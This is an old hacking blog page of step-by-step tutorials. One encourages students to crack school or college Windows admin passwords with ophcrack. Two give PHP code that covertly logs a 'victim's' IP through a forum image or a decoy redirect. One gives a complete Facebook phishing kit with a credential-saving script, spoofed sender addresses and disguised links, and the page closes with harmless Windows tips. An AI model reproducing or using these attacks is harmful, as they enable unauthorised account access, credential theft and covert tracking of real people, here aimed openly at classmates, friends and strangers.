Saturday, July 23, 2011

Free SMS services from PC to Mobile phones

How to Hack the Windows Admin Password Using OphCrack in Backtrack tutorial



if you are college/school students, you may curious to hack the admin password in your college or school system. This post is going to help you to crack the any type of windows accounts passwords. Learn how to hack the windows admin password like a geek.

This is My Second Backtrack Linux Tutorial.
[see the screen shots of this tutorial ]

Refer this link also: How to hack the windows 7 or vista using the following method

Requirements:
  • BackTrack Linux 4 or 5. Download it from http://backtrack-linux.org
  • Two Pen drives [if you are going to test in your own system, one pen drive is enough]
  • Xp Free Fast RainBow table [tables_xp_free_fast.zip]. Download it from here:http://ophcrack.sourceforge.net/tables.php

Install the Backtrack Linux in one pen drive. Leave another pen drive as empty.

Step 1: Booting From Back Track 
Insert the Backtrack installed  pen drive in target computer[when turned off].  We are going to boot the operating system from pen drive, so insert when the system is turned off.
Press F10 [boot menu, differs for system]  before booting and select boot from Pen drive. 
Now it will boot the Backtrack.
Select "Graphical User Interface "
Now wait for a while ( it will execute some commands}
Now you can see the "root:"
type "startx" and hit enter.  It will bring you to the GUI view of Backtrack.

Step 2:Copy the SAM and System files
Click the  Start button(dragon symbol)
Select System Menu
Select Storage Media(if you see nothing, close the window open it again).

You can see the list of Hard disk and Your pen drive.
Open the windows installed Hard disk and Navigate to this path:
WINDOWS/system32/config/

There you can see two files named as "SAM" and "System". 

Copy the both SAM and system files.
[ Just proceed to next step without closing the window]

Step 3:Insert your Empty Pen Drive 
Now again go to System Menu->Storage Media
Open Your pen drive(Empty Pen drive) ,Create a new folder and paste the sam and system files inside that folder

[note: you may not paste into your backtrack installed pen drive. that's why i asked you to bring 2 pen drives.  If you testing in your system, then you can copy to any other hard drive.]

You can not directly copy the sam and system files from same operating system. That's why we are using Backtrack.

Step 4:Now go to your home.
Boot into windows.  Extract the "tables_xp_free_fast.zip" in any hard drive.
Copy the folder that contains sam and system files from your pen drive.
Paste in any hard drive.
---
Restart the windows.
Insert the Backtrack installed pen drive and boot from Pen drive.

Step 5: Mounting the Hard drive in Backtrack


Now  go to System Menu->Storage Media(if you see nothing, close the window open it again).
and open the hard drives that contains sam files and rainbow tables. Then close it.

Don't be confused. I asked you to open those hard drive for mounting purpose. In linux , it won't mount automatically until you open the drive

Step 6: Run OphCrack Tool in Backtrack
Open the ophcrack GUI(start->Backtrack->Privilege Escalation->Password Attack->offline Attacks-ophCrack GUI).

Ophcrack GUI application will run now.

Step 7: Loading the folder that contains sam and system files

Click the Load and select "Encrypted SAM" in ophcrack tool.
Now it will ask you to select directory that contains SAM folder.
 
[Select Computer in file selecting window.  click '/'  browse to /media/your_Hard_Disk]
 Select the directory(don't open the directory, just select it).

Now it will load and display the list of user accounts in the windows.

Step 8: Target the Admin Account
Here i am going to hack the one of the administrator account "secure" of my computer.
So remove all other accounts except the target admin account.[This is not necessary, but it will increase the cracking speed] by clicking delete button.

Step 9: Install the Rainbow Table
Now let us install the Rainbow table.
Click the Table button in ophcrack tool.
Now it will ask you to selec the table. 
we are going to crack windows password right?. So choose the first one. and click the install button.
[note: i have installed the rainbow table already.  So it showing green.]

Now browse to the Rain bow table directory. I mean to the "tables_xp_free_fast" folder.
[here also, don't open the foler, just choose it]

now click ok.


Step 10: Cracking Begins
Click the Crack button.
Wait for a while [ophcrack is the fastest cracking tool. so it won't take too much time]

Step 11: Password is cracked
Yes..!! we got the password.  Now go to your school/college and login with that password.
Enjoy.  Don't forget to share with your friends.  This is interesting one na..!
Actually i missed the fun.  I didn't know this hack when i study in college. if i know that time itself,
i may have fun with my college system. 

Using Backtrack Installed CD Or single Pen drive:
You will need only one pen drive, if you are going to hack the admin password in the target system itself. Don't forget to bring the rainbow table in your backtrack pen drive in this case.


you can use cd instead of Pen drive for backtrack installation.
If you use cd, you can not bring the SAM file to your home. You have to crack it in that computer itself

How to get Ip address using the Image in forums


Ip logging hacking
Hi friends, after long time i am going to post a hacking tutorial now.  This article will explain "how to  get ip address using the external image?"


Step 1:
First of all find a free web host service.
Here is the list of free web hosting service:
http://www.free-webhosts.com/
Get registered in any of free web hosting service.



Step 2:
make a new directory( i hope that you know how to create directory).
you can give any name to the directory.
Lets take as "Image".

your directory link is  http://www.yoursite.com/Image/

Step 3:
Create a file named as ".htaccess" (don't forget the dot operator).
Edit the .htaccess file and paste this code into the file:
RewriteEngine on
RewriteRule ^image.gif$ iplogger.php

Here you should consider two files, namely image.gif,iplogger.php(You can name it anything. as a n00b,lets try as it is).

image.gif:

Name your image file as "image.gif" and upload it to our directory.
I mean upload the image.gif file to Image directory.

iplogger.php:
a php file which has the ip logging code inside.

Step 4:
Open Notepad++ or Notepad
paste this code.
$log = 'logger.html';
$ip = $_SERVER['REMOTE_ADDR'];
$page = $_SERVER['REQUEST_URI'];
$refer = $_SERVER['HTTP_REFERER'];
$date_time = date("l j F Y  g:ia", time() - date("Z")) ;
$agent = $_SERVER['HTTP_USER_AGENT'];
$fp = fopen("logger.html", "a");
fputs($fp, "
$date_time
IP: $ip
Page: $page
Refer: $refer
Useragent:
$agent


");
flock($fp, 3);
fclose($fp);
?>
save the file as "iplogger.php"

Create a empty html file ,name it as "logger.html".

Upload the two files to our directory,namely "Image" directory.

Step 5:
Go to a forum or wherever you would like

insert the image using the following BB code:
[img]http://www.yoursite.com/Image/image.gif[/img]

You can insert this in:

- Pm`s
- Posts & Threads
- Signatures
- Avatars
-And anything else that allows external linking of images.

If you would like to insert your image using HTML where is allowed then use this code:

Step 6:
Check your:
http://www.yoursite.com/Image/logger.html

For all your IP logs including where they came from.

if you want to know how it is working , you can refer this link:
http://www.workingwith.me.uk/articles/scripting/mod_rewrite

How to log IP of Victim using Web page? Ip Logger


So far, i have give some third party websites to track ip address of victim.  Today we are going to create our own website or webpage to track victim IP address.  I have written this PHP code for you.

Let me explain in two different methods
Method 1:
Log ip and redirect to some other interesting webpage(like "cute kittens pictures" page) or trusted page (like "facebook" page).

Method 2:
Log the ip and remains in same page( without redirection). I think "you won't select this method.

In this post , i will explain the method 1.



Requirements:
  • Any free hosting site and basic knowledge about file uploading to hosting.
  • url shortening sites account like co.cc,co.nr[optional]

Method 1-IP log php code: 

Step 1:
Create account in any free web hosting service.

Step 2:
Open notepad++ or notepad (if you have notepadd++, it will better to edit).
Paste the following code:
header("Location:index1.php");
$file="iplog.txt";
$f=fopen($file,'a');
fwrite($f,"-------------------------"."\n");
fwrite($f,"IP Address:".$_SERVER['REMOTE_ADDR']."\n");
fwrite($f,"User Agemt:".$_SERVER['HTTP_USER_AGENT']."\n");
fwrite($f,"Host Name:".php_uname('n')."\n");
fwrite($f,"Operating System:".php_uname('v')."(".php_uname('s').")"."\n");
fclose($f);
//provided by BreakTheSecurity.com
?>

and save it as index.php 

Code Explanation:
If you don't want to know how it is logging the IP, you can skip to the step 3.

header("Location:index1.php"); this will redirect to index1.php page.
 You can specify any other location instead.  For example, if you want to redirect to www.interestingwebsite.com ,then change the code as
header("Location: http://www.interestingwebsite.com");
or
header("Location: http://www.interestingwebsite.com/post.php");
  
$f=fopen($file,'a');  opens the file iplog.txt in append mode( add the contents at the end of file)and store the pointer in variable f.

fwrite($f,string) will write the string into the file(iplog.txt) for example, if the string is "hello", it will be stored inside iplog.txt file.

so fwrite($f,"-------------------------"."\n"); will insert ----------- inside the iplog.txt

fwrite($f,"IP Address:".$_SERVER['REMOTE_ADDR']."\n");
here $_SERVER['REMOTE_ADDR'] is build function ,returns IP address(if you run locally in your pc using wamp/xampp, it will return 127.0.0.1). So after ---------- lines, the "Ip address:127.0.0.1" will be append.

Now the iplog.txt file contains:
--------------------
IP Address: 127.0.0.1
$_SERVER['HTTP_USER_AGENT'] returns the current user agent used by victim.  It will contains information about the browser details(mozilla 3.6,ie),operating system(xp,linux).

php_uname('n') returns the Host name .  Now the iplog.txt contains

--------------------
IP Address: 127.0.0.1
User Agent: Mozilla (linux) (ubuntu 11.10) Mozilla3.6
HostName: xxxx.limestonenetwork.com

fclose($f); will close the opened file.

Step 3:
Open notepad and save the file as "iplog.txt"

Step 4:
again open the notepad and create your own php or html page. It should be some interesting contents(download any website templates,rename the index.html file to index1.html).
Example 1(html):



save the file as index1.html.
Example 2(php):


<?php echo "Cute kittens"; ?>


 
 save the file as index1.php


Step 5:
Now you have 3 files namely index.php,index1.php,iplog.txt.
Upload these files to your hosting.
File uploaded to hosting account
set iplog.txt permisson to read and write by global.

Set file permission for iplog.txt

Step 4:
Check whether it is working or not by visiting the your hosting sub domain account.
For example:
http://uraccount.hosting.com/index.php
if you enter the url, it will redirect from index.php to index1.php.
Now open the iplog.txt.  There you can see the logged information.

Step 5:
Send to your friend or victim with attractive mail content and title. At the end, ask him to visit the link to know more about the info.



Redirected to index1.php


Logged Details ,stored in iplog.txt file

Once he visit the link, his IP address is in your hands.

Friday, July 22, 2011

How to Hack Facebook Account Using Phising webPage


Everyone eager to hack the facebook account of others.  Here is the simplest method using phishing webpage ,you can hack the facebook account of your friends .


Phishing WebPage:
     Creating webpage which look like any site is described as Phishing.  By creating Phishing WebPage, you can make users to believe that it is original website and enter their id and password.

Step 1:
Go to Facebook.com
Right click on the white space of the front page.  Select "View Page source".
Copy the code to Notepad.



Step2:
Now find (Press ctrl +f)  for "action="  in that code.
You fill find the code like this:


The big red ring that circles the action= you have to change. You have to change it to 'action="next.php" '. after you have done that, you should change the method (small red circle on the picture) to "get" instead of "post", or else it will not work. Save the document as index.html


Step 3:
Now we need to create the "next.php" to store the password.  so open the notepad and type the following code:

header("Location: http://www.Facebook.com/login.php ");
$handle = fopen("pswrds.txt", "a");
foreach($_GET as $variable => $value) {
fwrite($handle, $variable);
fwrite($handle, "=");
fwrite($handle, $value);
fwrite($handle, "\r\n");
}
fwrite($handle, "\r\n");
fclose($handle);
exit;
?>

save this file as "next.php"

Step 4:
open the notepad and just save the file as "pswrds.txt" without any contents.

Now upload those three files(namely index.html,next.php,pswrds.txt) in any of subdomain Web hosting site.
Note:  that web hosting service must has php feature.
Use one of these sites:110mb.com, spam.com justfree.com or 007sites.com. 
 use this sites through the secure connection sites(so that you can hide your ip address)  like: http://flyproxy.com .  find best secure connection site.




Step 5:
 create an mail account with facebook keyword like :FACEBOOK@hotmail.com,Facebook@noreply.com,facebook_welcome@hotmail.com,facebook_friends@gmail.com

Step 6 :

Copy the original Facebook friendship invitation and paste in your mail.
remove the hyperlink from this  http:/www.facebook.com/n/?reqs.php
 Mark it and push the Add hyperlink button
*Updated*  
everyone asking doubts about this 6th step.   You may get Facebook friendship invitation from Facebook when someone "add as a friend", right? Just copy that mail and paste in compose mail.  In that content , you can find this link http:/www.facebook.com/n/?reqs.php .  Just change the delete the link and create link with same text but link to your site.  




Add hyperlink button in the red circle. now write your phisher page url in the hyperlink bar that appears after clicking the button. and click add. The hyperlink should still display http:/www.facebook.com/n/?reqs.php
but lead to your phisher page.. 



Note:
For user to believe change Your phishing web page url with any of free short url sites. 
Like : co.nr, co.cc,cz.cc 
This will make users to believe that it is correct url.


Don't use this method for hacking others account. This article is for educational purpose only. Here is tips to prevent from Phishing Web page:
How to prevent from Phishing Web page?

Hide Entire Drives Partition Without Registry


1) Go to Start > Run > type “diskpart”.
A DOS window will appear with following description.
DISKPART>
2) Then type “list volume”
The result will look something like one as shown below-
3) Suppose you want to hide drive E then type “select volume 3″
Then a message will appear in same window { Volume 3 is the selected volume}
4) Now type “remove letter E”
Now a message will come { Diskpart Removed the Drive letter }
sometime it requires to reboot the computer.
Diskpart will remove the letter.
Windows XP is not having capabilty to identify the unknown volume.
Your Data is now safe from unauthorised users.
To access the content of hidden Drive repeat the process mentioned above. But in 4th step replace ” remove” by “assign”.
It means type “assign letter E”.

Improve Windows-XP Shutdown Speed


1) Go to Start then select Run
2) Type ‘Regedit’ and click ok
3) Find ‘HKEY_CURRENT_USER\Control Panel\Desktop\’
4) Select ‘WaitToKillAppTimeout’
5) Right click and select ‘Modify’
6) Change the value to ’1000′
7) Click OK
8. Now select ‘HungAppTimeout’
9) Right click and select ‘Modify’
10) Change the value to ’1000′
11) Click ‘OK’